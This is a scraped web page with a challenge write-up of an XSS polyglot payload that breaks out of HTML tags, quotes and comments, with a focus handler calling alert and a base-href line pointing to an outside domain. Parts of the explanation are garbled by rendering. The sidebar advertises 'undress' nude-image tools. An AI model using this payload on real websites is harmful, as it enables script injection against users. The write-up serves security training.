Home Web Front-end JS Tutorial Polyglot solve most of Training XSS Muscles Challenge

Polyglot solve most of Training XSS Muscles Challenge

Sep 14, 2024 am 10:32 AM

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like , <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> </p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` </pre> <p>This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.<br> /<em>...</em>/ is useful for multiline comments and ignoring filter checks.<br> %26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.<br> Event Handler and Execution:</p> <p>`<br> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><br> `<br> \74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.<br> K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.<br> The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.<br> Advanced Evasion Techniques:</p> <p>`<br> <Base/Href=//X55.is\76--><br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion:</p> <p><!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.<br> Polyglot Logic:<br> Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.<br> Bypassing JavaScript Filters: Through commenting techniques (/<em>...</em>/, //) and quote escapes, it handles multiline scripts and prevents syntax errors.<br> Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.<br> Mind Map Summary:<br> Polyglot Core:<br> JavaScript Execution (alert?.(1))<br> HTML Context Breakouts ()<br> JavaScript String Injection:<br> Escape Quotes (/<em>'/</em>\'/<em>"/</em>)<br> Inline Comments and Multiline Escapes (//, /<em>...</em>/)<br> HTML Tag Evasion:<br> Tag Close Breakouts ()<br> Arbitrary Tag Injection with Event Handler ()<br> Advanced Tricks:<br> Octal Encoding for < and > (\74 and \76)<br> CSP Bypass using and external URL (Base/Href=//X55.is)<br> Final Injection:</p> <blockquote> <p>Mixed context polyglot triggering across multiple browsers and scenarios.<br> This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both</p> </blockquote> <p>The above is the detailed content of Polyglot solve most of Training XSS Muscles Challenge. For more information, please follow other related articles on the PHP Chinese website!</p> </div> </div> <div class="wzconShengming_sp"> <div class="bzsmdiv_sp">Statement of this Website</div> <div>The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn</div> </div> </div> <div class="AI_ToolDetails_main4sR"> <!-- <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Hot Article</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796898400.html" title="How To Play The Bing Homepage Quiz And Win (Quick Guide)" class="phpgenera_Details_mainR4_bottom_title">How To Play The Bing Homepage Quiz And Win (Quick Guide)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796891173.html" title="Ethereum price forecast in September 2025: Can ETH break through the $5,000 mark?" class="phpgenera_Details_mainR4_bottom_title">Ethereum price forecast in September 2025: Can ETH break through the $5,000 mark?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796888806.html" title="What is Trump's cryptocurrency? Introduction to Trump's Major Cryptocurrencies and Projects (2025)" class="phpgenera_Details_mainR4_bottom_title">What is Trump's cryptocurrency? Introduction to Trump's Major Cryptocurrencies and Projects (2025)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796886674.html" title="Is Bitcoin suitable for buying at the bottom now? Or wait for the drop to 95,000? Multi-angle analysis" class="phpgenera_Details_mainR4_bottom_title">Is Bitcoin suitable for buying at the bottom now? Or wait for the drop to 95,000? Multi-angle analysis</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796891166.html" title="Can the XPL coins that were snatched by big players in public sales exceed 1 US dollar when they are launched?" class="phpgenera_Details_mainR4_bottom_title">Can the XPL coins that were snatched by big players in public sales exceed 1 US dollar when they are launched?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/en/article.html">Show More</a> </div> </div> </div> --> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Hot AI Tools</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173410641626608.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undress AI Tool" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_title"> <h3>Undress AI Tool</h3> </a> <p>Undress images for free</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411540686492.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undresser.AI Undress" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_title"> <h3>Undresser.AI Undress</h3> </a> <p>AI-powered app for creating realistic nude photos</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411552797167.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Clothes Remover" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_title"> <h3>AI Clothes Remover</h3> </a> <p>Online AI tool for removing clothes from photos.</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173397491055212.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="ArtGPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_title"> <h3>ArtGPT</h3> </a> <p>AI image generator for creative art from text prompts.</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173418760225266.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Stock Market GPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_title"> <h3>Stock Market GPT</h3> </a> <p>AI powered investment research for smarter decisions</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/en/ai">Show More</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Hot Article</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796898400.html" title="How To Play The Bing Homepage Quiz And Win (Quick Guide)" class="phpgenera_Details_mainR4_bottom_title">How To Play The Bing Homepage Quiz And Win (Quick Guide)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796891173.html" title="Ethereum price forecast in September 2025: Can ETH break through the $5,000 mark?" class="phpgenera_Details_mainR4_bottom_title">Ethereum price forecast in September 2025: Can ETH break through the $5,000 mark?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796888806.html" title="What is Trump's cryptocurrency? Introduction to Trump's Major Cryptocurrencies and Projects (2025)" class="phpgenera_Details_mainR4_bottom_title">What is Trump's cryptocurrency? Introduction to Trump's Major Cryptocurrencies and Projects (2025)</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796886674.html" title="Is Bitcoin suitable for buying at the bottom now? Or wait for the drop to 95,000? Multi-angle analysis" class="phpgenera_Details_mainR4_bottom_title">Is Bitcoin suitable for buying at the bottom now? Or wait for the drop to 95,000? Multi-angle analysis</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/1796891166.html" title="Can the XPL coins that were snatched by big players in public sales exceed 1 US dollar when they are launched?" class="phpgenera_Details_mainR4_bottom_title">Can the XPL coins that were snatched by big players in public sales exceed 1 US dollar when they are launched?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 weeks ago</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/en/article.html">Show More</a> </div> </div> </div> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Hot Tools</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab96f0f39f7357.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Notepad++7.3.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_title"> <h3>Notepad++7.3.1</h3> </a> <p>Easy-to-use and free code editor</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/toolset/development-tools/93" title="SublimeText3 Chinese version" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97a3baad9677.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 Chinese version" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/toolset/development-tools/93" title="SublimeText3 Chinese version" class="phpmain_tab2_mids_title"> <h3>SublimeText3 Chinese version</h3> </a> <p>Chinese version, very easy to use</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/toolset/development-tools/121" title="Zend Studio 13.0.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97ecd1ab2670.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Zend Studio 13.0.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/toolset/development-tools/121" title="Zend Studio 13.0.1" class="phpmain_tab2_mids_title"> <h3>Zend Studio 13.0.1</h3> </a> <p>Powerful PHP integrated development environment</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d0e0fc74683535.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Dreamweaver CS6" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_title"> <h3>Dreamweaver CS6</h3> </a> <p>Visual web development tools</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/en/toolset/development-tools/500" title="SublimeText3 Mac version" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d34035e2757995.png?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 Mac version" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/en/toolset/development-tools/500" title="SublimeText3 Mac version" class="phpmain_tab2_mids_title"> <h3>SublimeText3 Mac version</h3> </a> <p>God-level code editing software (SublimeText3)</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/en/ai">Show More</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Hot Topics</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/php-tutorial" title="PHP Tutorial" class="phpgenera_Details_mainR4_bottom_title">PHP Tutorial</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1675</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>276</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/newyorktimesdailybrief" title="nyt connections hints and answers" class="phpgenera_Details_mainR4_bottom_title">nyt connections hints and answers</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>318</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>836</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/en/faq/settingupandusing" title="Setting up and using Magic Mouse in Windows" class="phpgenera_Details_mainR4_bottom_title">Setting up and using Magic Mouse in Windows</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>0</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>6</span> </div> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/en/faq/zt">Show More</a> </div> </div> </div> </div> </div> <div class="Article_Details_main2"> <div class="phpgenera_Details_mainL4"> <div class="phpmain1_2_top"> <a href="javascript:void(0);" class="phpmain1_2_top_title">Related knowledge<img src="/static/imghw/index2_title2.png" alt="" /></a> </div> <div class="phpgenera_Details_mainL4_info"> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796883638.html" title="How do you select elements by a data attribute in JavaScript?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175649022212441.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="How do you select elements by a data attribute in JavaScript?" /> </a> <a href="//m.sbmmt.com/en/faq/1796883638.html" title="How do you select elements by a data attribute in JavaScript?" class="phphistorical_Version2_mids_title">How do you select elements by a data attribute in JavaScript?</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 01:57 AM</span> <p class="Articlelist_txts_p">You can select elements with data attributes in JavaScript through the CSS attribute selector, and use the document.querySelector() or document.querySelectorAll() method to achieve this. 1. Use [data-attribute] to select an element with the specified data attribute (any value); 2. Use [data-attribute="value"] to select an element whose attribute value exactly matches; 3. Access the data attribute through element.dataset, where data-user-id corresponds to dataset.userId (replace</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796884618.html" title="Build JavaScript counters running by working days and working hours" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175659300230751.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Build JavaScript counters running by working days and working hours" /> </a> <a href="//m.sbmmt.com/en/faq/1796884618.html" title="Build JavaScript counters running by working days and working hours" class="phphistorical_Version2_mids_title">Build JavaScript counters running by working days and working hours</a> <span class="Articlelist_txts_time">Aug 31, 2025 am 06:30 AM</span> <p class="Articlelist_txts_p">This article details how to build an accurate timing counter using JavaScript. The counter is incremented once a minute, but only runs within preset working days (Monday to Friday) and working hours (such as 6am to 8pm). It can pause increments during non-working hours but display the current value and automatically reset on the first day of each month, ensuring the accuracy and flexibility of the counting logic.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796883853.html" title="Pytest and Selenium: Implementation strategies for dynamic data-driven testing" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175650480542769.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Pytest and Selenium: Implementation strategies for dynamic data-driven testing" /> </a> <a href="//m.sbmmt.com/en/faq/1796883853.html" title="Pytest and Selenium: Implementation strategies for dynamic data-driven testing" class="phphistorical_Version2_mids_title">Pytest and Selenium: Implementation strategies for dynamic data-driven testing</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 06:00 AM</span> <p class="Articlelist_txts_p">This article aims to solve the problem that the @pytest.mark.parametrize decorator cannot directly handle the data generated at runtime when using Pytest and Selenium for dynamic data-driven testing. We will explore the limitations of pytest.mark.parametrize in depth, and introduce in detail how to gracefully implement parameterized testing based on Selenium dynamic data acquisition through Pytest's pytest_generate_tests hook function to ensure the flexibility and efficiency of test cases.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796898994.html" title="JavaScript realizes click-through image switching effect: professional tutorial" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175817178343005.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScript realizes click-through image switching effect: professional tutorial" /> </a> <a href="//m.sbmmt.com/en/faq/1796898994.html" title="JavaScript realizes click-through image switching effect: professional tutorial" class="phphistorical_Version2_mids_title">JavaScript realizes click-through image switching effect: professional tutorial</a> <span class="Articlelist_txts_time">Sep 18, 2025 pm 01:03 PM</span> <p class="Articlelist_txts_p">This article will introduce how to use JavaScript to achieve the effect of clicking on images. The core idea is to use HTML5's data-* attribute to store the alternate image path, and listen to click events through JavaScript, dynamically switch the src attributes, thereby realizing image switching. This article will provide detailed code examples and explanations to help you understand and master this commonly used interactive effect.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796885555.html" title="Optimize event handling of dynamic external link jumps in jQuery pop-up window" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175669848346294.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Optimize event handling of dynamic external link jumps in jQuery pop-up window" /> </a> <a href="//m.sbmmt.com/en/faq/1796885555.html" title="Optimize event handling of dynamic external link jumps in jQuery pop-up window" class="phphistorical_Version2_mids_title">Optimize event handling of dynamic external link jumps in jQuery pop-up window</a> <span class="Articlelist_txts_time">Sep 01, 2025 am 11:48 AM</span> <p class="Articlelist_txts_p">This article aims to solve the problem of redirecting the external link redirect button in jQuery pop-up window causing jump errors. When a user clicks multiple external links in succession, the jump button in the pop-up may always point to the first clicked link. The core solution is to use the off('click') method to undo the old event handler before each binding of a new event, ensuring that the jump behavior always points to the latest target URL, thus achieving accurate and controllable link redirection.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796884095.html" title="How dynamically created DOM elements are accessed and operated by preloaded scripts" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175652622287631.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="How dynamically created DOM elements are accessed and operated by preloaded scripts" /> </a> <a href="//m.sbmmt.com/en/faq/1796884095.html" title="How dynamically created DOM elements are accessed and operated by preloaded scripts" class="phphistorical_Version2_mids_title">How dynamically created DOM elements are accessed and operated by preloaded scripts</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 11:57 AM</span> <p class="Articlelist_txts_p">This article explores how JavaScript scripts can be effectively accessed and manipulated when they are loaded and executed before the creation of DOM elements in web development. We will introduce three core strategies: directly passing element references through function return values, using custom events to achieve inter-module communication, and using MutationObserver to listen for DOM structure changes. These methods can help developers solve the challenges between JavaScript execution timing and dynamic content loading, ensuring that the script can correctly operate subsequently added elements, such as making them drag-able.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796887739.html" title="How to update object properties in JavaScript" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175693308174056.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="How to update object properties in JavaScript" /> </a> <a href="//m.sbmmt.com/en/faq/1796887739.html" title="How to update object properties in JavaScript" class="phphistorical_Version2_mids_title">How to update object properties in JavaScript</a> <span class="Articlelist_txts_time">Sep 04, 2025 am 04:58 AM</span> <p class="Articlelist_txts_p">Usedotnotationtoupdatepropertieswithknownnames;2.Usebracketnotationfordynamicorspecialcharacterpropertynames;3.UseObject.assign()toupdatemultiplepropertiesormergeobjects,notingitmutatestheoriginalunlessanemptyobjectisusedasthefirstargument;4.Usethesp</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/en/faq/1796897302.html" title="Number formatting in JavaScript: Use toFixed() method to retain fixed decimal places" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175799502277184.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Number formatting in JavaScript: Use toFixed() method to retain fixed decimal places" /> </a> <a href="//m.sbmmt.com/en/faq/1796897302.html" title="Number formatting in JavaScript: Use toFixed() method to retain fixed decimal places" class="phphistorical_Version2_mids_title">Number formatting in JavaScript: Use toFixed() method to retain fixed decimal places</a> <span class="Articlelist_txts_time">Sep 16, 2025 am 11:57 AM</span> <p class="Articlelist_txts_p">This tutorial explains in detail how to format numbers into strings with fixed two decimals in JavaScript, even integers can be displayed in the form of "#.00". We will focus on the use of the Number.prototype.toFixed() method, including its syntax, functionality, sample code, and key points to be noted, such as its return type always being a string.</p> </div> </div> <a href="//m.sbmmt.com/en/web-designer.html" class="phpgenera_Details_mainL4_botton"> <span>See all articles</span> <img src="/static/imghw/down_right.png" alt="" /> </a> </div> </div> </div> </main> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> <p>Public welfare online PHP training,Help PHP learners grow quickly!</p> </div> <div class="footermid"> <a href="//m.sbmmt.com/en/about/us.html">About us</a> <a href="//m.sbmmt.com/en/about/disclaimer.html">Disclaimer</a> <a href="//m.sbmmt.com/en/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1759210216"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all' /> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); 